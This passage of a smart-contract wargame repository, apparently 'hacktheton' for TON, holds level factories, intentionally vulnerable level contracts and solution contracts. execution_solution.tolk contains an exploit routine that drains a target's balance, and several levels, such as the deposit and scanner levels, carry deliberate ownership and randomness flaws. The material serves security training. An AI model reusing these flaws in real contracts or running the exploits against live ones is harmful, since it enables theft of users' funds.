| import "@stdlib/deploy"; 2 | import "../levels/intruder_level"; 3 | import "../player_stats"; 4 | import "../messages"; 5 | const deploy_value: Int = ton("0.03"); 6 | const gas_consumption: Int = ton("0.015"); 7 | 8 | contract IntruderLevelFactory with Deployable { 9 | game_manager: Address; 10 | nonce: Int = 0; 11 | init(game_manager: Address){ 12 | self.game_manager = game_manager; 13 | } 14 | 15 | receive(msg: DeployLevel){ 16 | let player_stats_init: StateInit = initOf PlayerStats(self.game_manager, 17 | msg.player 18 | ); 19 | let player_stats_address: Address = contractAddress(player_stats_init); 20 | let ctx: Context = context(); 21 | require(ctx.sender == player_stats_address, "Wrong sender"); 22 | let level_init: StateInit = initOf IntruderLevel(msg.player, self.nonce); 23 | let level_address: Address = contractAddress(level_init); 24 | send(SendParameters{ 25 | to: level_address, 26 | value: deploy_value, 27 | bounce: false, 28 | data: level_init.data, 29 | code: level_init.code, 30 | body: Deploy{queryId: 0}.toCell() 31 | } 32 | ); 33 | self.nonce += 1; 34 | send(SendParameters{ 35 | to: ctx.sender, 36 | value: (ctx.value - deploy_value) - gas_consumption, 37 | bounce: false, 38 | body: LevelDeployed{name: "intruder", address: level_address}.toCell() 39 | } 40 | ); 41 | } 42 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/factories/jackpot_level_factory.tact: -------------------------------------------------------------------------------- 1 | import "@stdlib/deploy"; 2 | import "../player_stats"; 3 | import "../messages"; 4 | const deploy_value: Int = ton("0.03"); 5 | const gas_consumption: Int = ton("0.015"); 6 | 7 | contract JackpotLevelFactory with Deployable { 8 | game_manager: Address; 9 | nonce: Int = 0; 10 | level_code: Cell; 11 | init(game_manager: Address, level_code: Cell){ 12 | self.game_manager = game_manager; 13 | self.level_code = level_code; 14 | } 15 | 16 | receive(msg: DeployLevel){ 17 | let player_stats_init: StateInit = initOf PlayerStats(self.game_manager, 18 | msg.player 19 | ); 20 | let player_stats_address: Address = contractAddress(player_stats_init); 21 | let ctx: Context = context(); 22 | require(ctx.sender == player_stats_address, "Wrong sender"); 23 | let level_init_data: Builder = beginCell(); 24 | level_init_data = level_init_data.storeAddress(msg.player); 25 | level_init_data = level_init_data.storeUint(self.nonce, 32); 26 | level_init_data = level_init_data.storeBool(false); 27 | let level_address: Address = contractAddress(StateInit{ 28 | code: self.level_code, 29 | data: level_init_data.endCell() 30 | } 31 | ); 32 | send(SendParameters{ 33 | to: level_address, 34 | value: deploy_value, 35 | bounce: false, 36 | code: self.level_code, 37 | data: level_init_data.endCell(), 38 | body: beginCell().storeUint(0, 32).endCell() 39 | } 40 | ); 41 | self.nonce += 1; 42 | send(SendParameters{ 43 | to: ctx.sender, 44 | value: (ctx.value - deploy_value) - gas_consumption, 45 | bounce: false, 46 | body: LevelDeployed{name: "jackpot", address: level_address}.toCell() 47 | } 48 | ); 49 | } 50 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/factories/logical_level_factory.tact: -------------------------------------------------------------------------------- 1 | import "@stdlib/deploy"; 2 | import "../player_stats"; 3 | import "../messages"; 4 | const deploy_value: Int = ton("0.01"); 5 | const gas_consumption: Int = ton("0.015"); 6 | 7 | contract LogicalLevelFactory with Deployable { 8 | game_manager: Address; 9 | nonce: Int = 0; 10 | level_code: Cell; 11 | diff: Int = 0; 12 | init(game_manager: Address, level_code: Cell, diff: Int){ 13 | self.game_manager = game_manager; 14 | self.level_code = level_code; 15 | self.diff = diff; 16 | } 17 | 18 | receive(msg: DeployLevel){ 19 | let player_stats_init: StateInit = initOf PlayerStats(self.game_manager, 20 | msg.player 21 | ); 22 | let player_stats_address: Address = contractAddress(player_stats_init); 23 | let ctx: Context = context(); 24 | require(ctx.sender == player_stats_address, "Wrong sender"); 25 | let level_init_data: Builder = beginCell(); 26 | level_init_data = level_init_data.storeAddress(msg.player); 27 | level_init_data = level_init_data.storeUint(self.nonce, 32); 28 | level_init_data = level_init_data.storeInt(-1, 1); 29 | level_init_data = level_init_data.storeInt(0, 64); 30 | level_init_data = level_init_data.storeInt(self.diff, 32); 31 | let level_address: Address = contractAddress(StateInit{ 32 | code: self.level_code, 33 | data: level_init_data.endCell() 34 | } 35 | ); 36 | send(SendParameters{ 37 | to: level_address, 38 | value: deploy_value, 39 | bounce: false, 40 | code: self.level_code, 41 | data: level_init_data.endCell() 42 | } 43 | ); 44 | self.nonce += 1; 45 | send(SendParameters{ 46 | to: ctx.sender, 47 | value: (ctx.value - deploy_value) - gas_consumption, 48 | bounce: false, 49 | body: LevelDeployed{name: "logical", address: level_address}.toCell() 50 | } 51 | ); 52 | } 53 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/factories/partial_level_factory.tact: -------------------------------------------------------------------------------- 1 | import "@stdlib/deploy"; 2 | import "../levels/partial_level"; 3 | import "../player_stats"; 4 | import "../messages"; 5 | const deploy_value: Int = ton("0.03"); 6 | const gas_consumption: Int = ton("0.015"); 7 | 8 | contract PartialLevelFactory with Deployable { 9 | game_manager: Address; 10 | nonce: Int = 0; 11 | init(game_manager: Address){ 12 | self.game_manager = game_manager; 13 | } 14 | 15 | receive(msg: DeployLevel){ 16 | let player_stats_init: StateInit = initOf PlayerStats(self.game_manager, 17 | msg.player 18 | ); 19 | let player_stats_address: Address = contractAddress(player_stats_init); 20 | let ctx: Context = context(); 21 | require(ctx.sender == player_stats_address, "Wrong sender"); 22 | let level_init: StateInit = initOf PartialLevel(msg.player, self.nonce); 23 | let level_address: Address = contractAddress(level_init); 24 | send(SendParameters{ 25 | to: level_address, 26 | value: deploy_value, 27 | bounce: false, 28 | data: level_init.data, 29 | code: level_init.code, 30 | body: Deploy{queryId: 0}.toCell() 31 | } 32 | ); 33 | self.nonce += 1; 34 | send(SendParameters{ 35 | to: ctx.sender, 36 | value: (ctx.value - deploy_value) - gas_consumption, 37 | bounce: false, 38 | body: LevelDeployed{name: "partial", address: level_address}.toCell() 39 | } 40 | ); 41 | } 42 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/factories/peek_level_factory.tact: -------------------------------------------------------------------------------- 1 | import "@stdlib/deploy"; 2 | import "../levels/peek_level"; 3 | import "../player_stats"; 4 | import "../messages"; 5 | const deploy_value: Int = ton("0.01"); 6 | const gas_consumption: Int = ton("0.015"); 7 | 8 | contract PeekLevelFactory with Deployable { 9 | game_manager: Address; 10 | password: Int as uint32; 11 | nonce: Int = 0; 12 | init(game_manager: Address, password: Int){ 13 | self.game_manager = game_manager; 14 | self.password = password; 15 | } 16 | 17 | receive(msg: DeployLevel){ 18 | let player_stats_init: StateInit = initOf PlayerStats(self.game_manager, 19 | msg.player 20 | ); 21 | let player_stats_address: Address = contractAddress(player_stats_init); 22 | let ctx: Context = context(); 23 | require(ctx.sender == player_stats_address, "Wrong sender"); 24 | let level_init: StateInit = initOf PeekLevel(msg.player, 25 | self.nonce, 26 | self.password 27 | ); 28 | let level_address: Address = contractAddress(level_init); 29 | send(SendParameters{ 30 | to: level_address, 31 | value: deploy_value, 32 | bounce: false, 33 | data: level_init.data, 34 | code: level_init.code, 35 | body: Deploy{queryId: 0}.toCell() 36 | } 37 | ); 38 | self.nonce += 1; 39 | send(SendParameters{ 40 | to: ctx.sender, 41 | value: (ctx.value - deploy_value) - gas_consumption, 42 | bounce: false, 43 | body: LevelDeployed{name: "peek", address: level_address}.toCell() 44 | } 45 | ); 46 | } 47 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/factories/proxy_level_factory.tact: -------------------------------------------------------------------------------- 1 | import "@stdlib/deploy"; 2 | import "../player_stats"; 3 | import "../messages"; 4 | const deploy_value: Int = ton("0.03"); 5 | const gas_consumption: Int = ton("0.015"); 6 | 7 | contract ProxyLevelFactory with Deployable { 8 | game_manager: Address; 9 | nonce: Int = 0; 10 | level_code: Cell; 11 | init(game_manager: Address, level_code: Cell){ 12 | self.game_manager = game_manager; 13 | self.level_code = level_code; 14 | } 15 | 16 | receive(msg: DeployLevel){ 17 | let player_stats_init: StateInit = initOf PlayerStats(self.game_manager, 18 | msg.player 19 | ); 20 | let player_stats_address: Address = contractAddress(player_stats_init); 21 | let ctx: Context = context(); 22 | require(ctx.sender == player_stats_address, "Wrong sender"); 23 | let level_init_data: Builder = beginCell(); 24 | level_init_data = level_init_data.storeAddress(msg.player); 25 | level_init_data = level_init_data.storeUint(self.nonce, 32); 26 | level_init_data = level_init_data.storeAddress(newAddress(0, 0)); 27 | level_init_data = level_init_data.storeInt(-1, 1); 28 | let level_address: Address = contractAddress(StateInit{ 29 | code: self.level_code, 30 | data: level_init_data.endCell() 31 | } 32 | ); 33 | send(SendParameters{ 34 | to: level_address, 35 | value: deploy_value, 36 | bounce: false, 37 | code: self.level_code, 38 | data: level_init_data.endCell() 39 | } 40 | ); 41 | self.nonce += 1; 42 | send(SendParameters{ 43 | to: ctx.sender, 44 | value: (ctx.value - deploy_value) - gas_consumption, 45 | bounce: false, 46 | body: LevelDeployed{name: "proxy", address: level_address}.toCell() 47 | } 48 | ); 49 | } 50 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/factories/scanner_level_factory.tact: -------------------------------------------------------------------------------- 1 | import "@stdlib/deploy"; 2 | import "../levels/scanner_level"; 3 | import "../player_stats"; 4 | import "../messages"; 5 | const deploy_value: Int = ton("0.03"); 6 | const gas_consumption: Int = ton("0.015"); 7 | 8 | contract ScannerLevelFactory with Deployable { 9 | game_manager: Address; 10 | nonce: Int = 0; 11 | init(game_manager: Address){ 12 | self.game_manager = game_manager; 13 | } 14 | 15 | receive(msg: DeployLevel){ 16 | let player_stats_init: StateInit = initOf PlayerStats(self.game_manager, 17 | msg.player 18 | ); 19 | let player_stats_address: Address = contractAddress(player_stats_init); 20 | let ctx: Context = context(); 21 | require(ctx.sender == player_stats_address, "Wrong sender"); 22 | let level_init: StateInit = initOf ScannerLevel(msg.player, self.nonce); 23 | let level_address: Address = contractAddress(level_init); 24 | send(SendParameters{ 25 | to: level_address, 26 | value: deploy_value, 27 | bounce: false, 28 | data: level_init.data, 29 | code: level_init.code, 30 | body: Deploy{queryId: 0}.toCell() 31 | } 32 | ); 33 | self.nonce += 1; 34 | send(SendParameters{ 35 | to: ctx.sender, 36 | value: (ctx.value - deploy_value) - gas_consumption, 37 | bounce: false, 38 | body: LevelDeployed{name: "scanner", address: level_address}.toCell() 39 | } 40 | ); 41 | } 42 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/factories/seed_level_factory.tact: -------------------------------------------------------------------------------- 1 | import "@stdlib/deploy"; 2 | import "../player_stats"; 3 | import "../messages"; 4 | const deploy_value: Int = ton("0.01"); 5 | const gas_consumption: Int = ton("0.015"); 6 | 7 | contract SeedLevelFactory with Deployable { 8 | game_manager: Address; 9 | nonce: Int = 0; 10 | level_code: Cell; 11 | init(game_manager: Address, level_code: Cell){ 12 | self.game_manager = game_manager; 13 | self.level_code = level_code; 14 | } 15 | 16 | receive(msg: DeployLevel){ 17 | let player_stats_init: StateInit = initOf PlayerStats(self.game_manager, 18 | msg.player 19 | ); 20 | let player_stats_address: Address = contractAddress(player_stats_init); 21 | let ctx: Context = context(); 22 | require(ctx.sender == player_stats_address, "Wrong sender"); 23 | let level_init_data: Builder = beginCell(); 24 | level_init_data = level_init_data.storeAddress(msg.player); 25 | level_init_data = level_init_data.storeUint(self.nonce, 32); 26 | level_init_data = level_init_data.storeInt(-1, 1); 27 | level_init_data = level_init_data.storeUint(0, 256); 28 | let level_address: Address = contractAddress(StateInit{ 29 | code: self.level_code, 30 | data: level_init_data.endCell() 31 | } 32 | ); 33 | send(SendParameters{ 34 | to: level_address, 35 | value: deploy_value, 36 | bounce: false, 37 | code: self.level_code, 38 | data: level_init_data.endCell() 39 | } 40 | ); 41 | self.nonce += 1; 42 | send(SendParameters{ 43 | to: ctx.sender, 44 | value: (ctx.value - deploy_value) - gas_consumption, 45 | bounce: false, 46 | body: LevelDeployed{name: "seed", address: level_address}.toCell() 47 | } 48 | ); 49 | } 50 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/factories/swap_level_factory.tact: -------------------------------------------------------------------------------- 1 | import "@stdlib/deploy"; 2 | import "../levels/swap_level"; 3 | import "../player_stats"; 4 | import "../messages"; 5 | const deploy_value: Int = ton("0.03"); 6 | const gas_consumption: Int = ton("0.015"); 7 | 8 | contract SwapLevelFactory with Deployable { 9 | game_manager: Address; 10 | nonce: Int = 0; 11 | init(game_manager: Address){ 12 | self.game_manager = game_manager; 13 | } 14 | 15 | receive(msg: DeployLevel){ 16 | let player_stats_init: StateInit = initOf PlayerStats(self.game_manager, 17 | msg.player 18 | ); 19 | let player_stats_address: Address = contractAddress(player_stats_init); 20 | let ctx: Context = context(); 21 | require(ctx.sender == player_stats_address, "Wrong sender"); 22 | let level_init: StateInit = initOf SwapLevel(msg.player, self.nonce); 23 | let level_address: Address = contractAddress(level_init); 24 | send(SendParameters{ 25 | to: level_address, 26 | value: deploy_value, 27 | bounce: false, 28 | data: level_init.data, 29 | code: level_init.code, 30 | body: Deploy{queryId: 0}.toCell() 31 | } 32 | ); 33 | self.nonce += 1; 34 | send(SendParameters{ 35 | to: ctx.sender, 36 | value: (ctx.value - deploy_value) - gas_consumption, 37 | bounce: false, 38 | body: LevelDeployed{name: "swap", address: level_address}.toCell() 39 | } 40 | ); 41 | } 42 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/factories/tolk_level_factory.tact: -------------------------------------------------------------------------------- 1 | import "@stdlib/deploy"; 2 | import "../player_stats"; 3 | import "../messages"; 4 | const deploy_value: Int = ton("0.01"); 5 | const gas_consumption: Int = ton("0.015"); 6 | 7 | contract TolkLevelFactory with Deployable { 8 | game_manager: Address; 9 | nonce: Int = 0; 10 | level_code: Cell; 11 | init(game_manager: Address, level_code: Cell){ 12 | self.game_manager = game_manager; 13 | self.level_code = level_code; 14 | } 15 | 16 | receive(msg: DeployLevel){ 17 | let player_stats_init: StateInit = initOf PlayerStats(self.game_manager, 18 | msg.player 19 | ); 20 | let player_stats_address: Address = contractAddress(player_stats_init); 21 | let ctx: Context = context(); 22 | require(ctx.sender == player_stats_address, "Wrong sender"); 23 | let level_init_data: Builder = beginCell(); 24 | level_init_data = level_init_data.storeAddress(msg.player); 25 | level_init_data = level_init_data.storeUint(self.nonce, 32); 26 | level_init_data = level_init_data.storeInt(-1, 1); 27 | let level_address: Address = contractAddress(StateInit{ 28 | code: self.level_code, 29 | data: level_init_data.endCell() 30 | } 31 | ); 32 | send(SendParameters{ 33 | to: level_address, 34 | value: deploy_value, 35 | bounce: false, 36 | code: self.level_code, 37 | data: level_init_data.endCell() 38 | } 39 | ); 40 | self.nonce += 1; 41 | send(SendParameters{ 42 | to: ctx.sender, 43 | value: (ctx.value - deploy_value) - gas_consumption, 44 | bounce: false, 45 | body: LevelDeployed{name: "tolk", address: level_address}.toCell() 46 | } 47 | ); 48 | } 49 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/factories/upgrade_level_factory.tact: -------------------------------------------------------------------------------- 1 | import "@stdlib/deploy"; 2 | import "../player_stats"; 3 | import "../messages"; 4 | const deploy_value: Int = ton("0.01"); 5 | const gas_consumption: Int = ton("0.015"); 6 | 7 | contract UpgradeLevelFactory with Deployable { 8 | game_manager: Address; 9 | nonce: Int = 0; 10 | level_code: Cell; 11 | init(game_manager: Address, level_code: Cell){ 12 | self.game_manager = game_manager; 13 | self.level_code = level_code; 14 | } 15 | 16 | receive(msg: DeployLevel){ 17 | let player_stats_init: StateInit = initOf PlayerStats(self.game_manager, 18 | msg.player 19 | ); 20 | let player_stats_address: Address = contractAddress(player_stats_init); 21 | let ctx: Context = context(); 22 | require(ctx.sender == player_stats_address, "Wrong sender"); 23 | let level_init_data: Builder = beginCell(); 24 | level_init_data = level_init_data.storeAddress(msg.player); 25 | level_init_data = level_init_data.storeUint(self.nonce, 32); 26 | level_init_data = level_init_data.storeInt(-1, 1); 27 | let level_address: Address = contractAddress(StateInit{ 28 | code: self.level_code, 29 | data: level_init_data.endCell() 30 | } 31 | ); 32 | send(SendParameters{ 33 | to: level_address, 34 | value: deploy_value, 35 | bounce: false, 36 | code: self.level_code, 37 | data: level_init_data.endCell() 38 | } 39 | ); 40 | self.nonce += 1; 41 | send(SendParameters{ 42 | to: ctx.sender, 43 | value: (ctx.value - deploy_value) - gas_consumption, 44 | bounce: false, 45 | body: LevelDeployed{name: "upgrade", address: level_address}.toCell() 46 | } 47 | ); 48 | } 49 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/levels/bruteforce_level.tact: -------------------------------------------------------------------------------- 1 | import "@stdlib/deploy"; 2 | import "../messages"; 3 | message Unlock { 4 | a: Int; 5 | b: Int; 6 | c: Int; 7 | d: Int; 8 | } 9 | 10 | contract BruteforceLevel with Deployable { 11 | player: Address; 12 | nonce: Int; 13 | locked: Bool = true; 14 | x: Int as uint8 = 0; 15 | y: Int as uint8 = 0; 16 | init(player: Address, nonce: Int){ 17 | self.player = player; 18 | self.nonce = nonce; 19 | } 20 | 21 | receive(msg: Unlock){ 22 | self.x = msg.a + msg.c; 23 | self.y = msg.b + msg.d; 24 | require((self.x + self.y) == 2, "First check failed."); 25 | require((((pow(msg.a, 25) + 26 | pow(msg.b, 25)) + 27 | pow(msg.c, 25)) + 28 | pow(msg.d, 25)) == 29 | 1968172103452999492963878188028555943794336458502883276710491621054698698752, 30 | "Second check failed." 31 | ); 32 | self.locked = false; 33 | } 34 | 35 | receive("check"){ 36 | send(SendParameters{ 37 | to: sender(), 38 | value: 0, 39 | mode: SendRemainingValue, 40 | bounce: false, 41 | body: CheckLevelResult{ 42 | name: "bruteforce", 43 | completed: !self.locked 44 | }.toCell() 45 | } 46 | ); 47 | } 48 | 49 | get fun locked(): Bool { 50 | return self.locked; 51 | } 52 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/levels/coin_level.tact: -------------------------------------------------------------------------------- 1 | import "@stdlib/deploy"; 2 | import "../messages"; 3 | message Flip { 4 | side: Bool; 5 | } 6 | 7 | contract Contract { 8 | nonce: Int; 9 | init(nonce: Int){ 10 | self.nonce = nonce; 11 | } 12 | } 13 | 14 | contract CoinLevel with Deployable { 15 | player: Address; 16 | nonce: Int; 17 | consecutiveWins: Int = 0; 18 | flipsCount: Int = 0; 19 | init(player: Address, nonce: Int){ 20 | self.player = player; 21 | self.nonce = nonce; 22 | } 23 | 24 | receive(msg: Flip){ 25 | let init: StateInit = initOf Contract(self.flipsCount); 26 | let contractAddress: Address = contractAddress(init); 27 | let side = contractAddress.asSlice().asCell().hash() % 2 == 0; 28 | self.consecutiveWins = msg.side == side ? self.consecutiveWins + 1 : 0; 29 | self.flipsCount += 1; 30 | } 31 | 32 | receive("check"){ 33 | send(SendParameters{ 34 | to: sender(), 35 | value: 0, 36 | mode: SendRemainingValue, 37 | bounce: false, 38 | body: CheckLevelResult{ 39 | name: "coin", 40 | completed: self.consecutiveWins >= 10 41 | }.toCell() 42 | } 43 | ); 44 | } 45 | 46 | get fun consecutiveWins(): Int { 47 | return self.consecutiveWins; 48 | } 49 | 50 | get fun flipsCount(): Int { 51 | return self.flipsCount; 52 | } 53 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/levels/deposit_level.tact: -------------------------------------------------------------------------------- 1 | import "@stdlib/ownable"; 2 | import "@stdlib/deploy"; 3 | import "../messages"; 4 | 5 | contract DepositLevel with Ownable, Deployable { 6 | owner: Address; 7 | player: Address; 8 | nonce: Int; 9 | init(player: Address, nonce: Int){ 10 | self.owner = sender(); 11 | self.player = player; 12 | self.nonce = nonce; 13 | } 14 | 15 | receive(){ 16 | require(context().value >= ton("0.01"), "Not enough TON."); 17 | self.owner = sender(); 18 | } 19 | 20 | receive("withdraw"){ 21 | self.requireOwner(); 22 | send(SendParameters{ 23 | to: sender(), 24 | bounce: true, 25 | value: 0, 26 | mode: SendRemainingBalance + SendIgnoreErrors 27 | } 28 | ); 29 | } 30 | 31 | receive("check"){ 32 | let ctx: Context = context(); 33 | send(SendParameters{ 34 | to: ctx.sender, 35 | value: 0, 36 | mode: SendRemainingValue, 37 | bounce: false, 38 | body: CheckLevelResult{ 39 | name: "deposit", 40 | completed: (myBalance() - ctx.value) == 0 && self.owner == self.player 41 | }.toCell() 42 | } 43 | ); 44 | } 45 | 46 | get fun balance(): String { 47 | return myBalance().toCoinsString(); 48 | } 49 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/levels/gatekeeper_level.tact: -------------------------------------------------------------------------------- 1 | import "@stdlib/deploy"; 2 | import "../messages"; 3 | message Unlock { 4 | a: Int; 5 | b: Int; 6 | } 7 | 8 | contract GatekeeperLevel with Deployable { 9 | player: Address; 10 | nonce: Int; 11 | locked: Bool = true; 12 | init(player: Address, nonce: Int){ 13 | self.player = player; 14 | self.nonce = nonce; 15 | } 16 | 17 | receive(msg: Unlock){ 18 | require((sender().asSlice().asCell().hash() ^ ((msg.a << 2) + msg.b)) == 19 | myAddress().asSlice().asCell().hash(), 20 | "Check failed." 21 | ); 22 | self.locked = false; 23 | } 24 | 25 | receive("check"){ 26 | send(SendParameters{ 27 | to: sender(), 28 | value: 0, 29 | mode: SendRemainingValue, 30 | bounce: false, 31 | body: CheckLevelResult{ 32 | name: "gatekeeper", 33 | completed: !self.locked 34 | }.toCell() 35 | } 36 | ); 37 | } 38 | 39 | get fun locked(): Bool { 40 | return self.locked; 41 | } 42 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/levels/introduction_level.tact: -------------------------------------------------------------------------------- 1 | import "@stdlib/deploy"; 2 | import "../messages"; 3 | message Authenticate { 4 | password: String; 5 | } 6 | 7 | contract IntroductionLevel with Deployable { 8 | player: Address; 9 | nonce: Int; 10 | password: String = "Tact and FunC for the win!"; 11 | isCompleted: Bool = false; 12 | init(player: Address, nonce: Int){ 13 | self.player = player; 14 | self.nonce = nonce; 15 | } 16 | 17 | receive(msg: Authenticate){ 18 | require(msg.password == self.password, "Wrong password."); 19 | self.isCompleted = true; 20 | } 21 | 22 | receive("check"){ 23 | send(SendParameters{ 24 | to: sender(), 25 | value: 0, 26 | mode: SendRemainingValue, 27 | bounce: false, 28 | body: CheckLevelResult{ 29 | name: "introduction", 30 | completed: self.isCompleted 31 | }.toCell() 32 | } 33 | ); 34 | } 35 | 36 | get fun password(): String { 37 | return self.password; 38 | } 39 | 40 | get fun isCompleted(): Bool { 41 | return self.isCompleted; 42 | } 43 | 44 | get fun info(): String { 45 | return "You will find what you need in getInfo1()."; 46 | } 47 | 48 | get fun info1(): String { 49 | return "Try getInfo2(), but with 'hello' as a parameter."; 50 | } 51 | 52 | get fun info2(param: String): String { 53 | require(param == "hello", "Wrong parameter."); 54 | return 55 | "Try getInfoNum() to know the number of the next info method to call."; 56 | } 57 | 58 | get fun infoNum(): Int { 59 | return 42; 60 | } 61 | 62 | get fun info42(): String { 63 | return "Send message Authenticate if you know the password."; 64 | } 65 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/levels/peek_level.tact: -------------------------------------------------------------------------------- 1 | import "@stdlib/deploy"; 2 | import "../messages"; 3 | message Unlock { 4 | password: Int as uint32; 5 | } 6 | 7 | contract PeekLevel with Deployable { 8 | player: Address; 9 | nonce: Int; 10 | password: Int as uint32; 11 | locked: Bool = true; 12 | init(player: Address, nonce: Int, password: Int){ 13 | self.player = player; 14 | self.nonce = nonce; 15 | self.password = password; 16 | } 17 | 18 | receive(msg: Unlock){ 19 | require(msg.password == self.password, "Wrong password."); 20 | self.locked = false; 21 | } 22 | 23 | receive("check"){ 24 | send(SendParameters{ 25 | to: sender(), 26 | value: 0, 27 | mode: SendRemainingValue, 28 | bounce: false, 29 | body: CheckLevelResult{name: "peek", completed: !self.locked}.toCell() 30 | } 31 | ); 32 | } 33 | 34 | get fun locked(): Bool { 35 | return self.locked; 36 | } 37 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/levels/scanner_level.tact: -------------------------------------------------------------------------------- 1 | import "@stdlib/ownable"; 2 | import "@stdlib/deploy"; 3 | import "../messages"; 4 | 5 | contract Child with Deployable { 6 | parent: Address; 7 | nonce: Int; 8 | init(parent: Address, nonce: Int){ 9 | self.parent = parent; 10 | self.nonce = nonce; 11 | } 12 | } 13 | message SendChildAddress { 14 | address: Address; 15 | } 16 | 17 | contract ScannerLevel with Ownable, Deployable { 18 | owner: Address; 19 | player: Address; 20 | nonce: Int; 21 | child: Address; 22 | init(player: Address, nonce: Int){ 23 | self.owner = sender(); 24 | self.player = player; 25 | self.nonce = nonce; 26 | let child_init: StateInit = initOf Child(myAddress(), nonce); 27 | self.child = contractAddress(child_init); 28 | send(SendParameters{ 29 | to: self.child, 30 | value: ton("0.01"), 31 | mode: SendPayGasSeparately, 32 | bounce: false, 33 | data: child_init.data, 34 | code: child_init.code, 35 | body: Deploy{queryId: 0}.toCell() 36 | } 37 | ); 38 | } 39 | 40 | receive(msg: SendChildAddress){ 41 | require(msg.address == self.child, "Wrong child address."); 42 | self.owner = sender(); 43 | } 44 | 45 | receive("check"){ 46 | send(SendParameters{ 47 | to: sender(), 48 | value: 0, 49 | mode: SendRemainingValue, 50 | bounce: false, 51 | body: CheckLevelResult{ 52 | name: "scanner", 53 | completed: self.owner == self.player 54 | }.toCell() 55 | } 56 | ); 57 | } 58 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/messages.tact: -------------------------------------------------------------------------------- 1 | message RegisterLevel { 2 | name: String; 3 | factory: Address; 4 | } 5 | message UnregisterLevel { 6 | name: String; 7 | } 8 | message CreateLevel { 9 | name: String; 10 | } 11 | message CreatePlayerLevel { 12 | name: String; 13 | factory: Address; 14 | } 15 | message DeployLevel { 16 | player: Address; 17 | } 18 | message LevelDeployed { 19 | name: String; 20 | address: Address; 21 | } 22 | message CheckLevel { 23 | name: String; 24 | } 25 | message CheckLevelResult { 26 | name: String; 27 | completed: Bool; 28 | } 29 | message ResponseStats { 30 | levelsCompleted: Int; 31 | } 32 | message AddPlayer { 33 | name: String; 34 | } 35 | message UpdatePlayer { 36 | name: String; 37 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/solutions/execution_solution.tolk: -------------------------------------------------------------------------------- 1 | @inline 2 | fun setGasLimit(limit: int): void 3 | asm "SETGASLIMIT"; 4 | 5 | @inline 6 | fun exploit() { 7 | val msg = beginCell() 8 | .storeUint(0x10, 6) // non-bounce 9 | .storeSlice("EQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM9c"a) 10 | .storeCoins(0) 11 | .storeUint(0, 1 + 4 + 4 + 64 + 32 + 1 + 1) 12 | .endCell(); 13 | 14 | // send all the contract balance 15 | sendRawMessage(msg, 128); 16 | 17 | commitContractDataAndActions(); 18 | setGasLimit(0); 19 | } 20 | 21 | fun getExploitCell(): cell 22 | asm "<{ exploit INLINECALLDICT }>c PUSHREF"; 23 | 24 | // onInternalMessage is the main function of the contract and is called when it receives a message from other contracts 25 | fun onInternalMessage(myBalance: int, msgValue: int, inMsgFull: cell, inMsgBody: slice) { 26 | if (inMsgBody.isEndOfSlice()) { // ignore all empty messages 27 | return; 28 | } 29 | 30 | var cs: slice = inMsgFull.beginParse(); 31 | val flags: int = cs.loadUint(4); 32 | if (flags & 1) { // ignore all bounced messages 33 | return; 34 | } 35 | 36 | val target: slice = inMsgBody.loadAddress(); 37 | val msgBody: cell = beginCell() 38 | .storeUint(0, 32) 39 | .storeRef(getExploitCell()) 40 | .endCell(); 41 | val msg: cell = beginCell() 42 | .storeUint(0x18, 6) 43 | .storeSlice(target) 44 | .storeCoins(0) 45 | .storeUint(1, 1 + 4 + 4 + 64 + 32 + 1 + 1) 46 | .storeRef(msgBody) 47 | .endCell(); 48 | 49 | // send all the remaining value 50 | sendRawMessage(msg, 64); 51 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/solutions/logical_solution.tolk: -------------------------------------------------------------------------------- 1 | // onInternalMessage is the main function of the contract and is called when it receives a message from other contracts 2 | fun onInternalMessage(myBalance: int, msgValue: int, inMsgFull: cell, inMsgBody: slice) { 3 | if (inMsgBody.isEndOfSlice()) { // ignore all empty messages 4 | return; 5 | } 6 | 7 | var cs: slice = inMsgFull.beginParse(); 8 | val flags: int = cs.loadUint(4); 9 | if (flags & 1) { // ignore all bounced messages 10 | return; 11 | } 12 | 13 | val target: slice = inMsgBody.loadAddress(); 14 | val msgBody: cell = beginCell() 15 | .storeUint(0, 32) 16 | .endCell(); 17 | val msg: cell = beginCell() 18 | .storeUint(0x18, 6) 19 | .storeSlice(target) 20 | .storeCoins(10000000) 21 | .storeUint(1, 1 + 4 + 4 + 64 + 32 + 1 + 1) 22 | .storeRef(msgBody) 23 | .endCell(); 24 | 25 | sendRawMessage(msg, 0); 26 | sendRawMessage(msg, 0); 27 | } -------------------------------------------------------------------------------- /packages/contracts/images/advanced-sbt-item.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xDmitry/hacktheton/543f32a6ea6267cb05f4af701a9933ca388d7f62/packages/contracts/images/advanced-sbt-item.png -------------------------------------------------------------------------------- /packages/contracts/images/beginner-sbt-item.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xDmitry/hacktheton/543f32a6ea6267cb05f4af701a9933ca388d7f62/packages/contracts/images/beginner-sbt-item.png -------------------------------------------------------------------------------- /packages/contracts/images/cover.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xDmitry/hacktheton/543f32a6ea6267cb05f4af701a9933ca388d7f62/packages/contracts/images/cover.png -------------------------------------------------------------------------------- /packages/contracts/images/expert-sbt-item.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xDmitry/hacktheton/543f32a6ea6267cb05f4af701a9933ca388d7f62/packages/contracts/images/expert-sbt-item.png -------------------------------------------------------------------------------- /packages/contracts/jest.config.ts: 